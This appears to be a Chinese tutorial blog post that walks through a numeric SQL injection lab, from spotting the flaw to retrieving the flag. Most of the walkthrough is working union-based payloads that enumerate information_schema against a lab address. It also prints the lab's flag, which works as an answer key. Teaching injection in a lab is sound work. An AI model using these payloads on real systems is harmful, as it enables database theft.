SQL注入基础--数字型注入

参考

参考学习链接

SQL注入简述

SQL注入,就是利用现有Web应用程序,构建特殊的参数输入,将(恶意的)SQL语句注入到后台数据库引擎,最终达到欺骗服务器执行恶意SQL语句的目的。

SQL注入的本质是后台SQL语句使用了拼接查询,未对用户输入的数据作安全处理。

SQL注入分类

根据注入形式的不同,可分为:

  • 数字型注
  • 字符型注
  • 搜索型注入

根据请求方式的不同,可分为:

  • GET型注
  • POST型注
  • HEADER型注入

根据注入点位置的不同,可分为:

  • 列注入
  • 表注入
  • order注入
  • limit注
  • group by注入
  • 等等

SQL注入的危害

脱库,导致敏感数据泄漏; getshell,获取服务器权限。

SQL注入防御

对用户输入的参数作好预编译处理,不能预编译的,可采取安全过滤,类型判断,映射等方式进行处理。

学习演练

学习/演练地址(须扫码登陆):SQL注入基础
在这里插入图片描述

提示

注入猜解过程

猜解数据库库名

select group_concat(schema_name) from information_schema.schemata;

猜解数据库表名

select group_concat(table_name) from information_schema.tables where table_schema=“A”;//A为止步中得到的库名猜解数据库列名

猜解数据库列名

select group_concat(column_name) from information_schema.columns where table_schema=“A” and table_name=‘B’;//B为上步中得到的表名猜解数据库数据信息

猜解数据库数据

select C from A.B;//其中C为上步中得到的列名

id=-1+union+select+group_concat(schema_name)+from+information_schema.schemata–+
id=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema=“lession1”–+ // 得到数据库表名
id=-1+union+select+group_concat(column_name)+from+information_schema.columns+where+table_schema="lession1"and+table_name=“flag”–+ // 得到数据库列名
id=-1+union+select+flag+from+lession1.flag–+

数字型注入

在这里插入图片描述

类型区别

  1. 数字型注入:id=1+xxxx+--+
  2. 字符型注入:name=admin’+xxx+--+
  3. 搜索型注入:keyword=admin%’+xxx+--+

判断类型

虽然我们已经提前知道了,本次注入的漏洞类型为数字型,但一般情况下仍是需要判断的
测试链接为: http://113.108.70.111:59573/sqli1.php?id=1
很明显,id=1就是本次我们可以下手的点
把【1】修改为【1'
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LuIGq6LO-1617333787170)(en-resource://database/785:1)]

在Mysql中,一般id是数值型,则以下错误日志应为:

SELECT * FROM db.user where id = 1' ;

Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1 0.000 sec
若id是字符型,则以下错误日志应为:

SELECT * FROM db.user where id = '1'' ;

Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1 0.016 sec
结合上文截图中的报错信息,可以判断为数值型

判断表字段个数

id=1修改为id=1+order+by+1
结果无报错,继续增加值
id=1+order+by+2
结果提示:Unknown column '2' in 'order clause'
因此该表的字段为1个

获取用户信息

一般注入常利用SQL语句中,union联合的特性来获取想要的数据
id=-1+union+select+database()

Hello test,Welcome to login in,having a good day!

可见当前用户表的DB为test

获取用户信息
id=-1+union+select+user()

Hello ctf1@localhost,Welcome to login in,having a good day!


猜解数据库库名

由以下语句变形而来

select group_concat(schema_name) from information_schema.schemata;

?id=-1+union+select+group_concat(schema_name)+from+information_schema.schemata--+
在这里插入图片描述
由此可获得3个数据库information_schema,lession1,test
其中数据库lession1嫌疑最高


猜解数据库表名

由以下语句变形而来

select group_concat(table_name) from information_schema.tables where table_schema="A";
select group_concat(column_name) from information_schema.columns where table_schema="A" and table_name='B';

A为上一步中得到的库名猜解数据库列名
B为上步中得到的表名猜解数据库数据信息
?id=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema="lession1"--+
在这里插入图片描述
由此可获得数据库lession1只有1个表flag


获取表字段

由以下语句变形而来

select group_concat(column_name) from information_schema.columns where table_schema="A" and table_name='B';

B为上步中得到的表名猜解数据库数据信息
id=-1+union+select+group_concat(column_name)+from+information_schema.columns+where+table_schema="lession1"and+table_name="flag"--+
在这里插入图片描述
由此可获得表flag只有1个falg字段


获取flag值

现在我们知道了:

  • DB:lession1
  • TABLE:flag
  • COLUMN:flag

获取表数据,先看有几行
id=-1+union+select+count(flag)+from+lession1.flag--+

Hello 1,Welcome to login in,having a good day!

因为只有一行,我们直接获取即可

id=-1+union+select+flag+from+lession1.flag--+
在这里插入图片描述
将得到的e3b1dca4c859a48280979e6cbe1faba5输入文本框,然后提交

得到页面
在这里插入图片描述

该页面为下一个练习的页面,说明我们已经成功通过了第一个SQL注入基础的测试!

  • 7
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值